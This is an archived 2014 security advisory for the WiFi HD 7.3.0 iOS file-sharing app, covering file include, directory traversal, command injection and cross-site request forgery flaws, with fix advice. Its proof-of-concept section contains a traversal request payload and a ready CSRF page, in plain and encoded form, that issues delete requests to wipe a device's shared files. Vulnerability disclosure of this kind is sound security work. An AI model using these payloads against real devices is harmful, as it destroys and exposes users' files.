WiFi HD 7.3.0 iOS - Multiple Vulnerabilities

EDB-ID:

34196

CVE:





Platform:

iOS

Date:

2014-07-29


Document Title:
===============
WiFi HD v7.3.0 iOS - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1283


Release Date:
=============
2014-07-29


Vulnerability Laboratory ID (VL-ID):
====================================
1283


Common Vulnerability Scoring System:
====================================
7.4


Product & Service Introduction:
===============================
Turn your iPhone into a wireless, mobile external hard drive! Works over any WiFi connection. You can now share, copy, and backup your 
files to and from your PC / Mac / Linux / or another phone! Very easy to use. No other software necessary! This is a simple, one stop, 
stand alone File Sharing solution.

(Copy of the Homepage: https://itunes.apple.com/us/app/wifi-hd/id310425060 )


Abstract Advisory Information:
==============================
The Vulnerbaility Laboratory Research Team discovered multiple vulnerabilities in the official WiFI HD v7.3 iOS mobile web application.


Vulnerability Disclosure Timeline:
==================================
2014-07-29: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Savy Soda
Product: WiFI HD - iOS Mobile Web Application 7.3


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official Savy Soda - WiFI HD v7.3.0 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific 
path commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `upload` (submit file) module. Remote attackers are able to inject 
own files with malicious `filename` values in the `upload` POST method request to compromise the mobile web-application. The local 
file/path include execution occcurs in the index file/folder list context next to the vulnerable filename value. The attacker is able 
to inject the local file request by usage of the available `wifi interface` for file exchange/share.

Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute 
different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to 
inject is POST. 

The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) 
count of 6.9. Exploitation of the local file include web vulnerability requires no privileged web-application user account or user interaction. 
Successful exploitation of the local file include web vulnerability results in mobile application or connected device component compromise.


Request Method(s):
				[+] [POST]

Vulnerable Service(s):
				[+] WiFi HD v7.3.0

Vulnerable Module(s):
				[+] Upload > Submit

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File/Folder Dir Listing (http://localhost/)



1.2
A directory traversal web vulnerability has been discovered in the official Savy Soda - WiFI HD v7.3.0 iOS mobile web-application.
The issue allows remote attackers to include own path directory values to unauthorized request a system/device path or file.

The issue is located in the `Create New Folder` function with the vulnerable `Enter folder name` input. Attackers are able to include 
own local path requests to compromise the application path itself or to unauthorized request local device files. The attack vector of 
the issue is on the application-side and the request method to implement is POST. The application-side execution occurs on top of the 
index next to the path directory listing of /home.

The security risk of the directory traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system) 
count of 6.4. Exploitation of the directory traversal web vulnerability requires no privileged web-application user account or user interaction. 
Successful exploitation of the path traversal web vulnerability results in mobile application or connected device component compromise.


Request Method(s):
				[+] [POST]

Vulnerable Service(s):
				[+] WiFi HD v7.3.0

Vulnerable Module(s):
				[+] Create New Folder

Vulnerable Input(s):
				[+] Enter folder name

Affected Module(s):
				[+] Index Path Dir Listing on top (http://localhost/)



1.3
A local command/path injection web vulnerabilities has been discovered in the official Savy Soda - WiFI HD v7.3.0 iOS mobile web-application.
The vulnerability allows attackers to inject local commands via vulnerable system values to compromise the apple mobile iOS application.

The vulnerability is located in the vulnerable `devicename` value of the `File Dir Index` module. Local attackers are able to inject own 
malicious system specific commands or path value requests in the vulnerable `devicename` value. The execution of the local command inject 
occurs in the `File Dir Index` module of the wifi hd v7.3.0 mobile application. The attacker is able to manipulate the settings module of the 
application by preparing to change the local devicename. The encoding of the vulnerable values in the index module is broken and allows an 
attacker to inject own commands successfully.

The attack vector is located on the application-side and the injection requires physical device access or a local low privileged user account. 
Local attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute different 
types of malicious attack requests.

The security risk of the local command/path inject vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 6.2.
Exploitation of the command/path inject vulnerability requires a low privileged iOS device account with restricted access and no user interaction. 
Successful exploitation of the vulnerability results in unauthorized execution of system specific commands and unauthorized path value requests to 
compromise the mobile iOS application or the connected device components.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Application Header

Vulnerable Parameter(s):
				[+] devicename

Affected Module(s):
				[+] Index File Dir Listing - Index Header


1.4
A cross site request forgery web vulnerability has been discovered in the official Savy Soda - WiFI HD v7.3.0 iOS mobile web-application.
The issue allows to execute own script codes through application functions by client-side manipulated cross site requests in interaction 
with a not expired user session.

The issue is located in the `delete` function of the mobile web-application. The delete function has no restriction and uses only a not 
secure GET method request. Attackers can prepare a website with speical crafted links to force an user to delete all the files in the 
exchange directory service. The attack vector of the issue is on the client-side and the request method to execute is GET.

The security risk of the cross site request forgery vulnerability is estimated as low with a cvss (common vulnerability scoring system) count of 1.9.
Exploitation of the client-side vulnerability requires no privileged iOS device account but medium or high user interaction. Successful exploitation 
of the vulnerability results in the delete of all files in the mobile application service.

Request Method(s):
				[+] [GET]

Vulnerable Parameter(s):
				[+] DEL!

Affected Module(s):
				[+] Index File Dir Listing


Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by local attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: (Current Directory: Home/) < Upload File > Submit
<a href="<iframe src=a>.png"><./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME VALUE!]">.png</a></td>
<td>[<a href="!DEL!./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME VALUE!].png">X</a>] </td>
<td align=right>0.5 Kb</td> </tr><tr><td><a href="asdasd-+%3C./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME VALUE!]%3E/</a></td>
<td>[<a href="!DEL!asdasd-+%3C./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME VALUE!]%3E/">X</a>] </td><td align=right> </td> </tr>
<tr><td colspan=3><hr></td></tr><tr><form action="" method="post" enctype="multipart/form-data" 
name="form1" id="form1"></tr><tr><td><label>Select a file to upload: <input type="file" name="file" id="file" /></label>
<label><input type="submit" name="button" id="button" value="Submit" /></label></td></tr></form><tr><td 
colspan=4><hr></td></tr><tr><form action="" method="post" name="form2" id="form2"><td>Enter folder name: <input type="text" 
name="foldername" id="foldername" /><input type="submit" name="button" id="button" 
value="Create Folder" /></td></form></tr></table></body></html></iframe></a>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost/ Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Gr��e des Inhalts[2080] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost]
      User-Agent

[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
    

  Referer[http://localhost/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------24623207791791
Content-Disposition: form-data; name="file"; filename="./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME VALUE!].png"
Content-Type: image/png



1.2
The directory traversal web vulnerability can be exploited by local attackers in the wifi without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: Enter Folder Name > Create New Folder (Current Directory: http://localhost/../../../var/mobile/x)

Status: 200[OK]
 POST http://localhost/ Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Gr��e des Inhalts[1926] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost]
      User-Agent

[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
    

  Referer[http://localhost/]
      Connection[keep-alive]
   POST-Daten:
      foldername[..%2F..%2F..%2Fvar%2Fmobile%2Fx]
      button[Create+Folder]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[1926]
      Date[Mo., 

28 Juli 2014 12:33:06 GMT]




1.3
The local command inject web vulnerability can be exploited by local attackers with physical device access and restricted user account without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Install the mobile application v7.3.0 to your iOS device (https://itunes.apple.com/us/app/wifi-hd/id310425060)
2. Activate the wifi in your iOS device
3. Setup a new iOS devicename through the options in the settings > info module
4. Include as new devicename your local command to inject on application-side
5. Open another iOS device and surf to the localhost url
6. The via devicename values injected command executes in the header location were the device information becomes visible
7. Successful reproduce of the local command inject vulnerability in the iOS application!

PoC: Index (http://localhost/)
<h1>Files on iPhone: bkm337<[LOCAL COMMAND INJECT VULNERABILITY!]"></h1></td></tr>
<tr><td>The following files are hosted live from the iPhone's Docs folder.</td></tr><tr><td colspan=3><hr></td>



1.4
The client-side cross site request forgery vulnerability can be exploited by remote attackers without privileged application user account and medium or 
high user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC:
<html>
<head><body>
<title>CSRF DELETE FOLDERS - PoC</title>
<iframe src=http://localhost:8080/!DEL!1/>
<iframe src=http://localhost:8080/!DEL!2/>
<iframe src=http://localhost:8080/!DEL!3/>
<iframe src=http://localhost:8080/!DEL!4/>
<iframe src=http://localhost:8080/!DEL!5/>
<iframe src=http://localhost:8080/!DEL!6/>
</body></head>
<html>

... or

<script language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%0A%3Ctitle%3ECSRF%20DELETE%20FOLDERS%20-%20PoC%3C/title%3E%0A
%3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%211/%3E%0A%3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%212/%3E%0A
%3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%213/%3E%0A%3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%214/%3E%0A
%3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%215/%3E%0A%3Ciframe%20src%3Dhttp%3A//localhost%3A8080/%21DEL%216/%3E%0A
%3C/body%3E%3C/head%3E%0A%3Chtml%3E';d=unescape(m);document.write(d);</script>


Solution - Fix & Patch:
=======================
1.1
The local file include web vulnerability can be patched by a secure parse of the filename value in the submit to upload function of the wifi service.
Encode also the filename output listing to prevent further file include attacks via upload.

1.2
The directory traversal can be patched by a special restriction in the requested path value of the web-server. Especially when processing to 
request the home/path value or by creating a new folder.
Restrict the input and disallow script code tags as chars, double quotes and slash to prevent the attack.

1.3
The local command inject web vulnerability can be patched by a secure parse and encode of the vulnerable device name information.
Restrict the devicename output and filter wrong inputs to prevent further command injection attacks.

1.4
The cross site request forgery issue can be patched by a secure restriction of the DEL! value.
Setup access roles to ensure that an user account can not delete all directory items.


Security Risk:
==============
1.1
The security risk of the local file include vulnerability in the upload > submit function is estimated as high.

1.2
The security risk of the directory traversal web vulnerability in the path&directory listing is estimated as high.

1.3
The security risk of the local command inject web vulnerability is estimated as high(-).

1.4
The security risk of the client-side cross site request forgery vulnerability is estimated as low(+).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either 
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers 
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even 
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation 
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break 
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       		- admin@evolution-sec.com
Section:    dev.vulnerability-db.com	 	- forum.vulnerability-db.com 		       		- magazine.vulnerability-db.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright � 2014 | Vulnerability Laboratory [Evolution Security]



-- 
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com